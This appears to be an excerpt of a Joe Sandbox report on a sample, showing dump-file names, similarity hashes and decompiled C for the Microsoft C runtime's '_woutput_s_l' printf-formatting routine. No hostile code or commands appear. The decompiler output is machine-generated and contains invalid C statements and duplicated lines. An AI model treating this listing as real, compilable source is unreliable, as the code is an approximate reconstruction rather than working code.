Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction ID: 4b77853840cf635fabb58f13edbaf1614fcefbcb0a3fa4b07ac78bf086a163b8
Opcode Fuzzy Hash: 35c5ed9300f9a9ae0c6ed213cfaabc736f0124c5564c08ec0c66987881e35f01
Instruction Fuzzy Hash: 2C41D5B1D05629DFDF24CF58DC99BAEB7B5BB48300F24919AD409A7240C7386E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043C35D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C35D(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t517;
				void* _t535;
				intOrPtr _t539;
				signed int _t556;
				signed short _t557;
				signed int _t560;
				signed int _t563;
				signed int _t564;
				intOrPtr _t565;
				signed int _t619;
				signed int _t621;
				signed int _t623;
				signed int _t630;
				signed int _t642;
				signed int _t669;
				intOrPtr _t670;
				intOrPtr _t671;
				signed int _t672;
				void* _t674;
				void* _t675;
				signed int _t681;

				L0:
				while(1) {
					L0:
					_t671 = __esi;
					_t670 = __edi;
					_t619 = __edx;
					_t565 = __ebx;
					 *(_t672 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t672 - 0x10) & 0x00008000) == 0) {
									_t621 =  *(_t672 - 0x10) & 0x00001000;
									if(_t621 == 0) {
										if(( *(_t672 - 0x10) & 0x00000020) == 0) {
											_t623 =  *(_t672 - 0x10) & 0x00000040;
											if(_t623 == 0) {
												_t483 = E00428310(_t672 + 0x14);
												_t675 = _t674 + 4;
												 *(_t672 - 0x4a0) = _t483;
												 *(_t672 - 0x49c) = 0;
											} else {
												_t556 = E00428310(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t556;
												 *(_t672 - 0x49c) = _t623;
											}
										} else {
											_t669 =  *(_t672 - 0x10) & 0x00000040;
											if(_t669 == 0) {
												_t557 = E00428310(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t557 & 0x0000ffff;
												 *(_t672 - 0x49c) = _t669;
											} else {
												_t560 = E00428310(_t672 + 0x14);
												_t675 = _t674 + 4;
												asm("cdq");
												 *(_t672 - 0x4a0) = _t560;
												 *(_t672 - 0x49c) = _t669;
											}
										}
									} else {
										_t563 = E00428330(_t672 + 0x14);
										_t675 = _t674 + 4;
										 *(_t672 - 0x4a0) = _t563;
										 *(_t672 - 0x49c) = _t621;
									}
								} else {
									_t564 = E00428330(_t672 + 0x14);
									_t675 = _t674 + 4;
									 *(_t672 - 0x4a0) = _t564;
									 *(_t672 - 0x49c) = _t619;
								}
								if(( *(_t672 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t672 - 0x4a8) =  *(_t672 - 0x4a0);
									 *(_t672 - 0x4a4) =  *(_t672 - 0x49c);
									goto L168;
								} else {
									L163:
									_t681 =  *(_t672 - 0x49c);
									if(_t681 > 0 || _t681 >= 0 &&  *(_t672 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t672 - 0x4a8) =  ~( *(_t672 - 0x4a0));
										 *(_t672 - 0x4a4) =  ~( *(_t672 - 0x49c));
										 *(_t672 - 0x10) =  *(_t672 - 0x10) | 0x00000100;
										L168:
										if(( *(_t672 - 0x10) & 0x00008000) == 0 && ( *(_t672 - 0x10) & 0x00001000) == 0) {
											 *(_t672 - 0x4a4) =  *(_t672 - 0x4a4) & 0x00000000;
										}
										if( *(_t672 - 0x30) >= 0) {
											 *(_t672 - 0x10) =  *(_t672 - 0x10) & 0xfffffff7;
											if( *(_t672 - 0x30) > 0x200) {
												 *(_t672 - 0x30) = 0x200;
											}
										} else {
											 *(_t672 - 0x30) = 1;
										}
										if(( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
											 *(_t672 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t672 - 4)) = _t672 - 0x249;
										while(1) {
											L178:
											_t629 =  *(_t672 - 0x30) - 1;
											 *(_t672 - 0x30) =  *(_t672 - 0x30) - 1;
											if( *(_t672 - 0x30) <= 0 && ( *(_t672 - 0x4a8) |  *(_t672 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t630 =  *(_t672 - 0x4a8);
											 *((intOrPtr*)(_t672 - 0x494)) = E00430740(_t630,  *(_t672 - 0x4a4),  *(_t672 - 8), _t629) + 0x30;
											asm("cdq");
											 *(_t672 - 0x4a8) = E004307C0( *(_t672 - 0x4a8),  *(_t672 - 0x4a4),  *(_t672 - 8), _t630);
											 *(_t672 - 0x4a4) = _t630;
											if( *((intOrPtr*)(_t672 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t672 - 0x494)) =  *((intOrPtr*)(_t672 - 0x494)) +  *((intOrPtr*)(_t672 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) =  *((intOrPtr*)(_t672 - 0x494));
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t672 - 0x24)) = _t672 - 0x249 -  *((intOrPtr*)(_t672 - 4));
										 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) + 1;
										if(( *(_t672 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t672 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t672 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t672 - 4)) =  *((intOrPtr*)(_t672 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t672 - 4)))) = 0x30;
											 *((intOrPtr*)(_t672 - 0x24)) =  *((intOrPtr*)(_t672 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t672 - 0x28)) != 0) {
																			L212:
																			if( *(_t672 - 0x20) != 0) {
																				L0041C4F0( *(_t672 - 0x20), 2);
																				_t675 = _t675 + 8;
																				 *(_t672 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t672 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t672 + 0xc))));
																				_t578 =  *(_t672 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t672 + 0xc)) =  *((intOrPtr*)(_t672 + 0xc)) + 2;
																				if(( *(_t672 - 0x454) & 0x0000ffff) == 0 ||  *(_t672 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t672 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t672 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t672 - 0x4d8) = 0;
																					} else {
																						 *(_t672 - 0x4d8) =  *(( *(_t672 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t672 - 0x450) =  *(_t672 - 0x4d8);
																				_t642 =  *(_t672 - 0x450) * 9;
																				_t509 =  *(_t672 - 0x45c);
																				_t586 = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t672 - 0x45c) = ( *(_t642 + _t509 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t672 - 0x45c) != 8) {
																					L16:
																					 *(_t672 - 0x4e0) =  *(_t672 - 0x45c);
																					if( *(_t672 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t672 - 0x4e0) * 4 +  &M0043C934))) {
																						case 0:
																							L18:
																							 *(_t672 - 0xc) = 1;
																							E0043CA40( *(_t672 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																							_t675 = _t675 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E330();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E20(_t586))) = 0x16;
																						E00422BB0(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041ADD0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BC70(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E330();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041ADD0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E20(_t578))) = 0x16;
																				E00422BB0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041ADD0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CAA0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CAE0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CAA0(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CAE0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AE00(_t672 - 0x40);
																				_t539 = E0043B540(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CA40( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CAA0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43ca00; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9C4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf9b80f80
																					E00424670(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xfe6faf80
																						E00424670(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xfe6d6f80
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
